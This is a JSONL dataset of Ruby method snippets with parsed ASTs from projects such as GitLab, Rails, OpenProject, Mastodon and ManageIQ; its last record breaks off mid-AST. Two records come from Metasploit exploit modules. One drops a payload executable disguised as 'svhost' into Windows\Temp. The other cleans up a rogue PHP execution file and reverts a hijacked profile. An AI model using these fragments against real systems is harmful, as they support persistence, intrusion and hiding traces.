{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/application_setting.rb","start_line":1288,"raw_source":"def validate_url(parsed_url, name, error_message)\n    return if parsed_url\n\n    errors.add(\n      name,\n      \"must be a valid relative or absolute URL. #{error_message}\"\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_url\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"error_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"must be a valid relative or absolute URL. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]}]}]}","id":"210e2bfd-bf4e-4f0a-9ce8-1254cb71e0ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_suite.rb","start_line":76,"raw_source":"def +(other)\n          self.class.new.tap do |test_suite|\n            test_suite.name = other.name\n            test_suite.test_cases = self.test_cases.deep_merge(other.test_cases)\n            test_suite.total_time = self.total_time + other.total_time\n          end\n        end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"+\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_suite\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"test_cases=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"test_cases\"]},\"deep_merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"test_cases\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"total_time=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_time\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"total_time\"]}]}]}]}]}]}","id":"50a24630-4dd4-4d51-9fb7-aa59e4c4cb97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/import/github.rb","start_line":50,"raw_source":"def import!(gh_project_name, target_group_path, project_name)\n            within_element('project-import-row', source_project: gh_project_name) do\n              click_element('target-namespace-dropdown')\n              click_element(\"listbox-item-#{target_group_path}\", wait: 10)\n              fill_element('project-path-field', project_name)\n\n              retry_until do\n                click_element('import-button')\n                # Make sure import started before waiting for completion\n                has_no_element?('import-status-indicator', text: \"Not started\", wait: 1)\n              end\n            end\n          end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"import!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gh_project_name\"]},{\"type\":\"arg\",\"children\":[\"target_group_path\"]},{\"type\":\"arg\",\"children\":[\"project_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"project-import-row\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_project\"]},{\"type\":\"lvar\",\"children\":[\"gh_project_name\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"target-namespace-dropdown\"]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"listbox-item-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_group_path\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_element\",{\"type\":\"str\",\"children\":[\"project-path-field\"]},{\"type\":\"lvar\",\"children\":[\"project_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"import-button\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"import-status-indicator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Not started\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}]}","id":"48d1c05c-cfe6-4c81-a2f6-9a72bd3d5b2e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/vss_persistence.rb","start_line":128,"raw_source":"def upload(trg_loc = '')\n    if trg_loc.nil? || trg_loc.empty?\n      location = '\\\\Windows\\\\Temp'\n    else\n      location = trg_loc\n    end\n\n    file_name = \"svhost#{rand(100)}.exe\"\n    file_on_target = \"#{location}\\\\#{file_name}\"\n\n    exe = generate_payload_exe\n\n    begin\n      write_file(file_on_target.to_s, exe)\n    rescue ::Rex::Post::Meterpreter::RequestError => e\n      fail_with(Failure::NotFound, e.message)\n    end\n\n    return file_on_target\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"trg_loc\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trg_loc\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trg_loc\"]},\"empty?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"str\",\"children\":[\"\\\\Windows\\\\Temp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"lvar\",\"children\":[\"trg_loc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"svhost\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_on_target\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_on_target\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"exe\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_on_target\"]}]}]}]}","id":"1976b8f6-10cd-44bc-8e2b-9f702a69d6ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability_check_service.rb","start_line":156,"raw_source":"def outdated_merge_ref?\n      return false unless merge_request.open?\n\n      return true unless ref_head = merge_request.merge_ref_head\n      return true unless target_sha = merge_request.target_branch_sha\n      return true unless source_sha = merge_request.source_branch_sha\n\n      ref_head.parent_ids != [target_sha, source_sha]\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"outdated_merge_ref?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"open?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref_head\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"merge_ref_head\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"target_branch_sha\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"source_branch_sha\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_head\"]},\"parent_ids\"]},\"!=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_sha\"]},{\"type\":\"lvar\",\"children\":[\"source_sha\"]}]}]}]}]}","id":"ad4cd7ca-3845-4fc5-b8fb-20fbbd3d222d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":2224,"raw_source":"def check_if_method_has_arguments!(method_name, args, message = nil)\n        if args.blank?\n          raise ArgumentError, message || \"The method .#{method_name}() must contain arguments.\"\n        else\n          yield args if block_given?\n\n          args.flatten!\n          args.compact_blank!\n        end\n      end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_if_method_has_arguments!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The method .\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"() must contain arguments.\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flatten!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"compact_blank!\"]}]}]}]}","id":"3b4dfc40-f818-47df-b4c2-87ea9016f4a0"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/stream_event_loop.rb","start_line":23,"raw_source":"def post(task = nil, &block)\n        task ||= block\n\n        spawn\n        @executor << task\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"post\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"task\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"spawn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@executor\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"task\"]}]}]}]}","id":"7f8b1eec-88fe-4a78-b7fe-ff4bb5b379e8"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/filter_dependency_decorator.rb","start_line":35,"raw_source":"def initialize(filter, operator)\n            self.filter = filter\n            self.operator = operator\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"operator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter=\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"operator=\",{\"type\":\"lvar\",\"children\":[\"operator\"]}]}]}]}","id":"0b1e41ff-e8f9-4796-a943-762cc3e46cb2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/work_packages/activities_tab/journals/hidden_form.rb","start_line":39,"raw_source":"def initialize(last_server_timestamp:, filter: :all)\n      super()\n      @last_server_timestamp = last_server_timestamp\n      @filter = filter\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"last_server_timestamp\"]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"sym\",\"children\":[\"all\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@last_server_timestamp\",{\"type\":\"lvar\",\"children\":[\"last_server_timestamp\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}","id":"27dd4b6e-0e20-4fdf-bcd7-cb00656e615f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/suspicious_sign_in_detector.rb","start_line":11,"raw_source":"def suspicious?(request)\n    !sufficient_security_measures? && !freshly_signed_up? && !previously_seen_ip?(request)\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"suspicious?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sufficient_security_measures?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"freshly_signed_up?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previously_seen_ip?\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},\"!\"]}]}]}","id":"ca5d7ef6-3d2d-4072-9c11-872fb04f9dd2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/bolt_authenticated_rce.rb","start_line":342,"raw_source":"def cleanup\n    super\n\n    # delete rogue .php file used for execution (if present)\n    delete_file(@rogue_file) if @rogue_file\n\n    return unless @profile_token\n\n    # change user profile back to original\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),\n      'cookie' => @cookie,\n      'vars_post' => {\n        'user_profile[password][first]' => datastore['PASSWORD'],\n        'user_profile[password][second]' => datastore['PASSWORD'],\n        'user_profile[email]' => @email,\n        'user_profile[displayname]' => datastore['USERNAME'].to_s,\n        'user_profile[save]' => '',\n        'user_profile[_token]' => @profile_token\n      }\n    })\n\n    unless res\n      print_warning('Failed to revert user profile back to original state.')\n      return\n    end\n\n    # visit profile page again to verify the changes\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),\n      'cookie' => @cookie\n    })\n\n    unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)\n      print_warning('Failed to revert user profile back to original state.')\n    end\n\n    print_good('Reverted user profile back to original state.')\n  end","complexity_score":42.65,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rogue_file\"]},{\"type\":\"send\",\"children\":[null,\"delete_file\",{\"type\":\"ivar\",\"children\":[\"@rogue_file\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_token\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"bolt\"]},{\"type\":\"str\",\"children\":[\"profile\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_profile[password][first]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_profile[password][second]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_profile[email]\"]},{\"type\":\"ivar\",\"children\":[\"@email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_profile[displayname]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_profile[save]\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_profile[_token]\"]},{\"type\":\"ivar\",\"children\":[\"@profile_token\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to revert user profile back to original state.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"bolt\"]},{\"type\":\"str\",\"children\":[\"profile\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},\"to_s\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to revert user profile back to original state.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Reverted user profile back to original state.\"]}]}]}]}","id":"c58f930a-3fbe-4d98-afe8-6fc26b4c60ef"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/top_menu_helper.rb","start_line":57,"raw_source":"def render_logo\n    mode_class = \"op-logo--link_high_contrast\" if User.current.pref.light_high_contrast_theme?\n    content_tag :div, class: \"op-logo\" do\n      link_to(I18n.t(\"label_home\"),\n              configurable_home_url,\n              data: { auto_theme_switcher_target: \"desktopLogo\" },\n              class: [\"op-logo--link\", mode_class].compact)\n    end\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"render_logo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"pref\"]},\"light_high_contrast_theme?\"]},{\"type\":\"lvasgn\",\"children\":[\"mode_class\",{\"type\":\"str\",\"children\":[\"op-logo--link_high_contrast\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"op-logo\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"label_home\"]}]},{\"type\":\"send\",\"children\":[null,\"configurable_home_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_theme_switcher_target\"]},{\"type\":\"str\",\"children\":[\"desktopLogo\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"op-logo--link\"]},{\"type\":\"lvar\",\"children\":[\"mode_class\"]}]},\"compact\"]}]}]}]}]}]}]}","id":"167fdcb9-3489-451f-a949-0e0daca38e0a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authenticator/httpd.rb","start_line":12,"raw_source":"def authorize_queue(username, request, options, *_args)\n      log_auth_debug(\"authorize_queue(username=#{username}, options=#{options})\")\n\n      user_attrs, membership_list =\n        if options[:authorize_only]\n          if options[:authorize_with_system_token].present?\n            user_details_from_system_token(username, options[:authorize_with_system_token])\n          else\n            user_details_from_external_directory(username)\n          end\n        else\n          user_details_from_headers(username, request)\n        end\n\n      if debug_auth?\n        log_auth_debug(\"authorize_queue user details:\")\n        user_attrs.each { |k, v| log_auth_debug(\"  %-12{key} = %{val}\" % {:key => k, :val => v}) }\n        log_auth_debug(\"  %-12{key} = %{val}\" % {:key => \"groups\", :val => membership_list.join(', ')})\n      end\n\n      super(username, request, {}, user_attrs, membership_list)\n    end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_auth_debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"authorize_queue(username=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\", options=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_attrs\"]},{\"type\":\"lvasgn\",\"children\":[\"membership_list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authorize_only\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authorize_with_system_token\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"user_details_from_system_token\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authorize_with_system_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"user_details_from_external_directory\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[null,\"user_details_from_headers\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debug_auth?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_auth_debug\",{\"type\":\"str\",\"children\":[\"authorize_queue user details:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_attrs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"log_auth_debug\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"  %-12{key} = %{val}\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"val\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_auth_debug\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"  %-12{key} = %{val}\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"groups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"val\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership_list\"]},\"join\",{\"type\":\"str\",\"children\":[\", 